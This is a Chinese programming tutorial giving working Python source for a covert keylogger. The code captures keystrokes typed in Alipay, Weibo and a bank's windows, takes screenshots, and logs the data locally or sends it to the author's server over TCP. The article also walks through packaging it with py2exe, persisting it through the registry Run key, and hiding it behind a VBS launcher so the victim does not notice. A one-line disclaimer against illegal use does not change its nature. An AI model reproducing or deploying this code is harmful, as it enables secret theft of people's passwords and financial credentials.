Python利用pyHook實現監(jiān)聽用戶鼠標與鍵盤事件
本文以一段簡單的監(jiān)聽鼠標、鍵盤事件的程序,實現獲取用戶的輸入(比如登錄某些網站的賬號、密碼)的功能。經測試,對于一臺“裸奔”的電腦,完全能獲取到用戶輸入的任何信息;但是如果安裝了殺毒軟件,就夠嗆了。具體實現方法如下:
一、代碼部分:獲取用戶輸入信息,并與截圖一起保存到XX目錄下
# -*- coding: utf-8 -*- #
import pythoncom
import pyHook
import time
import socket
from PIL import ImageGrab
#
#如果是遠程監(jiān)聽某個目標電腦,可以自己架設一個服務器,然后將獲取到的信息發(fā)回給服務器
#
def send_msg_to_server(msg):
host=""
port=1234
buf_size=1024
addr=(host,port)
if len(msg)>0:
tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
tcp_client_sock.connect(addr)
info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
tcp_client_sock.sendall(info+msg)
tcp_client_sock.close()
#
#也可以將獲取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):
f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
f.write(msg+'\r\n')
f.close()
def onMouseEvent(event):
# 監(jiān)聽鼠標事件
global MSG
if len(MSG)!=0:
#send_msg_to_server(MSG)
write_msg_to_txt(MSG)
MSG=''
pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
#將用戶屏幕截圖,保存到本地某個目錄下(也可以搞成遠程發(fā)送到自己的服務器)
pic = ImageGrab.grab()
pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
return True
def onKeyboardEvent(event):
#監(jiān)聽鍵盤事件
global MSG
title= event.WindowName.decode('GBK')
#通過網站title,判斷當前網站是否是“監(jiān)聽目標”
if title.find(u"支付寶") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦發(fā)銀行')!=-1:
#Ascii: 8-Backspace , 9-Tab ,13-Enter
if (127 >= event.Ascii > 31) or (event.Ascii == 8):
MSG += chr(event.Ascii)
if (event.Ascii == 9) or (event.Ascii == 13):
#send_msg_to_remote(MSG)
write_msg_to_txt(MSG)
MSG = ''
#屏幕抓圖實現
pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
pic = ImageGrab.grab()
#保存成為以日期命名的圖片
pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
return True
if __name__ == "__main__":
MSG = ''
#創(chuàng)建hook句柄
hm = pyHook.HookManager()
#監(jiān)控鼠標
hm.SubscribeMouseLeftDown(onMouseEvent)
hm.HookMouse()
#監(jiān)控鍵盤
hm.KeyDown = onKeyboardEvent
hm.HookKeyboard()
#循環(huán)獲取消息
pythoncom.PumpMessages()
二、用py2exe將腳本打包:
新建一個py文件setup.py,內容如下:
from distutils.core import setup import py2exe setup(console=["monitor.py"]) #setup(windows=["monitor.py"])
命令行執(zhí)行以下命令:
pythonsetup.pypy2exe
三、將該程序設置為開機自動啟動:
步驟①:
將需要開機啟動的文件(創(chuàng)建一個快捷方式,然后)放到“開始/所有程序/啟動”目錄下
步驟②:
修改注冊表:命令行— regedit ,然后到以下路徑下:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
新建一個“字符串值”,然后編輯:設置exe文件所在路徑
D:\workspace\mytest\pyhook\dist\monitor.exe
(以上兩種方式啟動monitor.exe的話,會彈出一個命令框,顯示監(jiān)聽日志信息,這樣的話,被監(jiān)聽的人一下就能發(fā)現了,可以試試下面這個方式)
步驟③:
新建一個 .vbs文件,內容如下:
setwscriptObj=CreateObject("Wscript.Shell")
wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0
雙擊運行該vbs文件,則monitor.exe就在后臺啟動了(不會彈出一個大黑框)。
然后參考法①、② 把該vbs設置成開機啟動即可。
補充:
1、該程序涉及到一些模塊都需要自己安裝一下;
2、文章中凡是“D:\workspace....”這樣的路徑都需要改成自己的真實路徑;
3、本代碼僅為測試示例,讀者不要將其用于非法用途。
感興趣的讀者可以對本文實例加以改進,使之功能更加完善。
相關文章
python smtplib模塊自動收發(fā)郵件功能(一)
這篇文章主要為大家詳細介紹了python smtplib模塊自動收發(fā)郵件功能,具有一定的參考價值,感興趣的小伙伴們可以參考一下2018-05-05
Python學習工具jupyter notebook安裝及用法解析
這篇文章主要介紹了Python學習工具jupyter notebook安裝及用法解析,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下2020-10-10

